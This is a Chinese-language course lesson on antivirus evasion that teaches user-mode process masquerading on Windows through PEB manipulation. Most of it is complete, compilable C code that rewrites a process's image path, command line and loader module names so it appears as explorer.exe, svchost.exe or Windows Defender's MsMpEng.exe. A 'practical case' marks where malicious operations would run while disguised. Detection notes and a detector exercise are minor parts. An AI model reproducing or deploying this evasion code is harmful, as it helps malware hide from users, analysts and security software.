免杀专题

1、R3进程伪装

1. 课程概述

1.1 学习目标

通过本课时的学习,你将掌握:

  • 理解Windows进程内存结构(PEB/TEB)
  • 掌握进程伪装的核心技术
  • 学会使用相关工具进行分析和验证
  • 理解免杀中进程伪装的作用

1.2 前置知识

  • C/C++基础语法
  • Windows API基本使用
  • 指针与内存结构
  • 对PE文件格式有基本了解

2. 名词解释

2.1 核心术语

术语 英文全称 说明
R3 Ring 3 用户态,最低特权级别,普通应用程序运行的环境
R0 Ring 0 内核态,最高特权级别,操作系统内核运行的环境
PEB Process Environment Block 进程环境块,包含进程的关键信息
TEB Thread Environment Block 线程环境块,包含线程的关键信息
Ldr Loader Data 加载器数据,包含已加载模块的链表
进程伪装 Process Masquerading 修改进程显示信息,使其看起来像另一个进程
免杀 Evasion/AV Bypass 绕过安全软件检测的技术

2.2 Windows内存结构图

+------------------+
|   应用程序 (R3)   |  ← 用户态
+------------------+
|     ntdll.dll    |  ← 系统调用接口
+------------------+
|  kernel32.dll    |  ← Windows API
+------------------+

+------------------+
|   Windows内核    |  ← 内核态 (R0)
+------------------+
|     硬件层       |
+------------------+

2.3 什么是进程伪装

进程伪装是指修改进程的PEB结构,使得在任务管理器、进程查看器等工具中显示为其他进程的名称或路径。

应用场景:

  • 绕过基于进程名的白名单检测
  • 伪装成系统进程规避用户怀疑
  • 混淆安全分析人员的视线

2.4 技术原理图解

修改前:                          修改后:
+------------------+              +------------------+
| PEB              |              | PEB              |
| ImagePath:       |              | ImagePath:       |
| C:\malware.exe   |   =====>     | C:\Windows\      |
| CommandLine:     |              |   explorer.exe   |
| malware.exe      |              | CommandLine:     |
+------------------+              |   explorer.exe   |
                                  +------------------+

3. 必备工具

3.1 开发环境

工具 用途 下载地址
Visual Studio 2019/2022 编译C/C++代码 https://visualstudio.microsoft.com/
MinGW-w64 轻量级GCC编译器 https://www.mingw-w64.org/

3.2 分析工具

工具 用途 下载地址
Process Explorer 查看进程详细信息,验证伪装效果 https://docs.microsoft.com/sysinternals/downloads/process-explorer
Process Hacker 开源进程管理器,可查看PEB结构 https://processhacker.sourceforge.io/
WinDbg Windows调试器,查看内存结构 https://docs.microsoft.com/windows-hardware/drivers/debugger/
x64dbg 用户态调试器,分析程序运行 https://x64dbg.com/
PE-bear PE文件分析器 https://github.com/hasherezade/pe-bear

3.3 工具使用演示

3.3.1 使用Process Explorer查看进程信息

  1. 下载并运行Process Explorer
  2. 找到目标进程,双击打开属性
  3. 查看 Image 选项卡:
    • Path: 显示的是PEB中的ImagePathName
    • Command Line: 显示的是PEB中的CommandLine
  4. 伪装成功后,这些字段会显示伪造的内容

3.3.2 使用WinDbg查看PEB结构

# 附加到进程
windbg -p <PID>

# 查看PEB地址
!peb

# 查看PEB结构详情
dt ntdll!_PEB @$peb

# 查看ProcessParameters
dt ntdll!_RTL_USER_PROCESS_PARAMETERS poi(@$peb+0x20)

# 查看ImagePathName
du poi(poi(@$peb+0x20)+0x60)

4. PEB结构详解

4.1 TEB与PEB的关系

+------------------+
|       TEB        |  ← 线程环境块 (fs:[0] / gs:[0])
|  +0x30: PEB*     |  ← 指向PEB的指针 (32位)
|  +0x60: PEB*     |  ← 指向PEB的指针 (64位)
+------------------+

+------------------+
|       PEB        |  ← 进程环境块
| +0x10: Params*   |  ← ProcessParameters
| +0x0C: Ldr*      |  ← 模块链表 (32位)
| +0x18: Ldr*      |  ← 模块链表 (64位)
+------------------+

4.2 PEB结构定义

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;              // +0x002 调试标志
    BOOLEAN SpareBool;
    HANDLE Mutant;
    PVOID ImageBaseAddress;             // +0x008 模块基址
    PPEB_LDR_DATA Ldr;                  // +0x00C 模块链表
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;  // +0x010 进程参数
    // ... 更多字段
} PEB, *PPEB;

4.3 RTL_USER_PROCESS_PARAMETERS结构

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    PVOID ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;    // 我们要修改的字段
    UNICODE_STRING CommandLine;      // 命令行参数
    // ...
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

4.4 UNICODE_STRING结构

// UNICODE_STRING是Windows内核中常用的字符串结构
typedef struct _UNICODE_STRING {
    USHORT Length;         // 字符串长度(字节),不包含结束符
    USHORT MaximumLength;  // 缓冲区最大长度
    PWSTR  Buffer;         // 字符串缓冲区指针
} UNICODE_STRING, *PUNICODE_STRING;

// 注意:
// 1. Length是字节数,不是字符数
// 2. Buffer可能不是NULL结尾的
// 3. 修改时要同时更新Length和Buffer

5. 实现代码

5.1 完整实现(详细注释版)

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

// 定义未导出的结构体
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    HANDLE SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ...
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;

// 获取PEB地址
PPEB GetPEB() {
#ifdef _WIN64
    return (PPEB)__readgsqword(0x60);
#else
    return (PPEB)__readfsdword(0x30);
#endif
}

// 修改UNICODE_STRING
void SetUnicodeString(PUNICODE_STRING dest, LPCWSTR src) {
    DWORD len = (DWORD)wcslen(src) * sizeof(WCHAR);
    dest->Length = (USHORT)len;
    dest->MaximumLength = (USHORT)(len + sizeof(WCHAR));
    memcpy(dest->Buffer, src, len + sizeof(WCHAR));
}

// 进程伪装主函数
BOOL MasqueradeProcess(LPCWSTR szFakePath, LPCWSTR szFakeCommandLine) {
    PPEB pPeb = GetPEB();
    if (!pPeb) {
        printf("[-] Failed to get PEB\n");
        return FALSE;
    }

    PRTL_USER_PROCESS_PARAMETERS pParams = pPeb->ProcessParameters;
    if (!pParams) {
        printf("[-] Failed to get ProcessParameters\n");
        return FALSE;
    }

    printf("[*] Original ImagePathName: %ws\n", pParams->ImagePathName.Buffer);
    printf("[*] Original CommandLine: %ws\n", pParams->CommandLine.Buffer);

    // 修改ImagePathName
    if (szFakePath) {
        SetUnicodeString(&pParams->ImagePathName, szFakePath);
        printf("[+] Modified ImagePathName: %ws\n", pParams->ImagePathName.Buffer);
    }

    // 修改CommandLine
    if (szFakeCommandLine) {
        SetUnicodeString(&pParams->CommandLine, szFakeCommandLine);
        printf("[+] Modified CommandLine: %ws\n", pParams->CommandLine.Buffer);
    }

    // 修改Ldr中的模块名称
    PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr;
    PLIST_ENTRY pListHead = &pLdr->InLoadOrderModuleList;
    PLIST_ENTRY pListEntry = pListHead->Flink;

    // 第一个条目是主模块
    PMY_LDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(
        pListEntry, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

    if (szFakePath) {
        SetUnicodeString(&pEntry->FullDllName, szFakePath);
        
        // 提取文件名部分
        LPCWSTR pFileName = wcsrchr(szFakePath, L'\\');
        if (pFileName) {
            SetUnicodeString(&pEntry->BaseDllName, pFileName + 1);
        }
    }

    printf("[+] Process masquerade completed!\n");
    return TRUE;
}

int main() {
    printf("========== R3 Process Masquerade ==========\n");
    printf("[*] Current PID: %lu\n", GetCurrentProcessId());
    
    // 伪装为explorer.exe
    MasqueradeProcess(
        L"C:\\Windows\\explorer.exe",
        L"C:\\Windows\\explorer.exe"
    );
    
    printf("\n[*] Press Enter to exit...\n");
    getchar();
    
    return 0;
}

5.2 使用内联汇编获取PEB(32位)

// 32位版本
PPEB GetPEB32() {
    PPEB pPeb = NULL;
    __asm {
        mov eax, fs:[0x30]  // TEB->PEB
        mov pPeb, eax
    }
    return pPeb;
}

// 展示完整汇编方式
__declspec(naked) PPEB GetPEBAsm() {
    __asm {
        mov eax, fs:[0x30]
        ret
    }
}

5.3 64位版本PEB获取

// 64位版本使用内置函数
PPEB GetPEB64() {
    return (PPEB)__readgsqword(0x60);  // TEB+0x60 = PEB
}

6. 高级技术:修改模块列表

6.1 三个模块链表说明

PEB中的Ldr包含三个双向链表,分别按不同顺序组织模块:

链表 说明
InLoadOrderModuleList 按加载顺序排列
InMemoryOrderModuleList 按内存地址顺序排列
InInitializationOrderModuleList 按初始化顺序排列

注意: 完美的进程伪装需要同时修改三个链表中的模块信息。

6.2 修改InLoadOrderModuleList

void ModifyModuleList(LPCWSTR szFakeModule) {
    PPEB pPeb = GetPEB();
    PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr;
    
    // 遍历模块列表
    PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;
    PLIST_ENTRY pEntry = pHead->Flink;
    
    while (pEntry != pHead) {
        PMY_LDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(
            pEntry, MY_LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        
        // 修改第一个模块(主程序)
        if (pEntry == pHead->Flink) {
            SetUnicodeString(&pModule->FullDllName, szFakeModule);
            
            LPCWSTR pFileName = wcsrchr(szFakeModule, L'\\');
            if (pFileName) {
                SetUnicodeString(&pModule->BaseDllName, pFileName + 1);
            }
            break;
        }
        
        pEntry = pEntry->Flink;
    }
}

7. 检测与绕过

7.1 常见检测方式

检测方式 说明 是否可绕过
任务管理器 读取PEB ✔ 可绕过
Process Explorer 读取PEB ✔ 可绕过
QueryFullProcessImageName 内核查询 ✘ 无法绕过
GetModuleFileName 读取PEB ✔ 可绕过
WMI查询 混合 部分可绕过

7.2 检测方式详解

7.2.1 R3层检测(可绕过)

// 任务管理器、Process Explorer等使用的API
// 这些都从用户态PEB读取,可以被伪装
GetModuleFileName()         // 读取PEB中的ImagePathName
GetCommandLine()            // 读取PEB中的CommandLine

7.2.2 R0层检测(无法绕过)

// 内核级检测会查询内核中的EPROCESS结构
// R3的进程伪装无法绕过

// QueryFullProcessImageName 内部调用内核
wchar_t szPath[MAX_PATH];
DWORD dwSize = MAX_PATH;
QueryFullProcessImageNameW(hProcess, 0, szPath, &dwSize);
// 返回的是真实路径,不受PEB影响

7.3 内核级检测绕过思路

// 内核使用ZwQueryInformationProcess获取真实路径
// R3无法绕过,需要R0配合
NTSTATUS NTAPI ZwQueryInformationProcess(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

8. 实战案例

8.1 伪装为系统进程

int main() {
    // 伪装为svchost.exe
    MasqueradeProcess(
        L"C:\\Windows\\System32\\svchost.exe",
        L"C:\\Windows\\System32\\svchost.exe -k netsvcs"
    );
    
    // 保持运行,让用户观察
    printf("[*] Check Task Manager, our process looks like svchost.exe\n");
    
    // 执行恶意操作...
    Sleep(60000);
    
    return 0;
}

8.2 伪装为安全软件

// 伪装为Windows Defender
MasqueradeProcess(
    L"C:\\Program Files\\Windows Defender\\MsMpEng.exe",
    L"C:\\Program Files\\Windows Defender\\MsMpEng.exe"
);

9. 编译与测试

9.1 项目配置

9.1.1、Visual Studio配置

  1. 创建新项目:控制台应用C++
  2. 项目属性设置:
    • C/C++ → 预处理器 → 添加 _CRT_SECURE_NO_WARNINGS
    • 链接器 → 输入 → 附加依赖项 → 添加 ntdll.lib
  3. 确保平台与目标架构匹配(x86/x64)

9.2 编译命令

# MSVC
cl.exe /EHsc /Fe:masquerade.exe masquerade.cpp

# MinGW
g++ -o masquerade.exe masquerade.cpp -lntdll

# 禁用优化以便调试
g++ -O0 -g -o masquerade.exe masquerade.cpp

9.3 测试步骤

  1. 运行程序
  2. 打开任务管理器
  3. 观察进程名称显示
  4. 使用Process Explorer查看详细信息

10. 常见问题与解决方案

10.1 常见错误

问题 原因 解决方案
程序崩溃 结构体偏移不正确 检查系统版本和位数,使用WinDbg确认偏移
伪装失败 Buffer空间不足 检查MaximumLength,必要时重新分配
编译错误 缺少头文件 包含 winternl.h 或自定义结构
64位下失败 使用了32位偏移 检查并使用正确的64位偏移

10.2 调试技巧

// 添加调试输出
printf("[DEBUG] PEB Address: 0x%p\n", pPeb);
printf("[DEBUG] ProcessParameters: 0x%p\n", pPeb->ProcessParameters);
printf("[DEBUG] ImagePathName Buffer: 0x%p\n", 
       pPeb->ProcessParameters->ImagePathName.Buffer);
printf("[DEBUG] ImagePathName Length: %d\n", 
       pPeb->ProcessParameters->ImagePathName.Length);

11. 课后作业

11.1 基础练习

  1. 进程伪装实现:将当前进程伪装为notepad.exe,并使用Process Explorer验证

  2. 代码框架(补充完整):

#include <windows.h>
#include <winternl.h>
#include <stdio.h>

int main() {
    // TODO: 获取PEB
    // TODO: 修改ImagePathName为 "C:\\Windows\\System32\\notepad.exe"
    // TODO: 修改CommandLine
    // TODO: 输出修改前后的值
    
    printf("Press Enter to exit...\n");
    getchar();
    return 0;
}

11.2 进阶练习

  1. 多链表修改:同时修改三个模块链表中的模块名称
  2. 动态伪装:实现根据配置文件动态指定伪装目标

11.3 高级练习

  1. 检测绕过研究

    • 分析Process Explorer如何检测进程信息
    • 研究哪些字段需要修改才能完美伪装
  2. 实现检测程序:编写能检测进程伪装的工具

11.4 思考题

  1. 为什么R3层面的进程伪装无法绕过内核检测?
  2. 安全软件通常使用什么方式检测进程信息?
  3. 如何设计一个更难被检测的进程伪装方案?

12. 参考资料

12.1 推荐阅读

  • Windows Internals 第7版 - 第3章 进程和作业
  • MSDN: Process Environment Block
  • ReactOS源码 - PEB结构定义

12.2 在线资源


13. 下一课预告

下一课我们将学习**“栈溢出调用CALL”**,内容包括:

  • 函数调用栈结构分析
  • 栈溢出漏洞原理
  • 利用栈溢出执行ShellCode
  • 绕过现代安全机制的技巧